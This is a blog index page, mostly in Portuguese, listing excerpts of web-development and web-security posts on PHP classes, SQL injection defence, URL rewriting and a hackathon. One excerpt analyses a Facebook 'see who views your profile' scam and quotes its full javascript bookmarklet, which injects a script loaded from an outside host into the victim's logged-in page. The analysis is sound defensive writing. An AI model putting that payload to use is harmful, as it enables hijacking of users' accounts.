Multiple Inheritance

A very common problem PHP Developers find in Object Oriented Programming is the needs of Multiple Inheritance and PHP doesn’t support multiple inheritance, at least officially. Fortunately, there are ways of doing this, without having to duplicate code. Extension Manager [sourcecode language=”php”] /** * Multiple Inheritance * * Extension Manager * * @author Joao Pedro Pereira * @package… Continue reading Multiple Inheritance

Published
Categorized as PHP Tagged ,

[updated] Connection Details – Information About Your Connection

The service http://connectiondetails.info was updated this week with new features and improved the ones existing. The feature to recognize the operative system and browser was updated to be more precise and complete, also the speed meter was updated ! The news are in the location feature that was added on this version and the integration with… Continue reading [updated] Connection Details – Information About Your Connection

Prepared Statements contra SQL Injection

É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores. Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL… Continue reading Prepared Statements contra SQL Injection

Análise Facebook: See who views your profile

Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil ! Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta. javascript:(a=(b=document).createElement(‘script’)).src=’//bbbindia4.in/jsp.php’,b.body.appendChild(a);void(0) Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do… Continue reading Análise Facebook: See who views your profile

Portugal GTUG HTML5 Hackaton

Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan ! A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&Drop, WebSockets, Server-Sent actions, API’s, etc., etc., etc. Foi uma cena brutal mesmo! Houve Coffee Break’s… Continue reading Portugal GTUG HTML5 Hackaton

URL Rewriting contra ataques ?(!)

O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma… Continue reading URL Rewriting contra ataques ?(!)

Web Security – You’re Doing it WRONG

É triste o estado de descuido em que se encontram a maior parte dos WebSites nacionais… Não falo ao nível de organização, acessibilidade, usabilidade, design… mas sim ao nível da segurança, ou melhor, à falta dela… Navegar por sites de grandes empresas, de universidades e respectivas faculdades, de sites governamentais, etc. aleatoriamente é quase como… Continue reading Web Security – You’re Doing it WRONG

PHP RSS Feed Generator Class

English Version | Versão Portuguesa It’s been a while since I’ve planned on developing a new platform for my work as Web Developer, and next to all Web Developers, and I started to develop some modules and this RSS Generator Class born to fulfill my needs. Supported versions: RSS 2.0 Download: Download it Features: Generates… Continue reading PHP RSS Feed Generator Class

PHP Simple Events System Overview

O PHP-SimpleEventsSystem é uma simples classe em PHP que permite a qualquer programador criar uma aplicação orientada a eventos em PHP. Sendo assim, esta classe possibilita a criação mais facilmente de aplicações web com possibilidade de adicionar plugins, sem que estes tenham de mexer com o código interno da aplicação, permite que uma framework use… Continue reading PHP Simple Events System Overview

Não desaproveite o seu Footer!

Ser WebDeveloper não é uma tarefa fácil, não só temos de estar sempre actualizados relativamente ao que o mercado de trabalho exige relativamente a conhecimentos em ferramentas, frameworks e linguagens de programação como também temos de estar em cima dos hot topics na área do WebDesign e Usabilidade. Construir um site do zero não é… Continue reading Não desaproveite o seu Footer!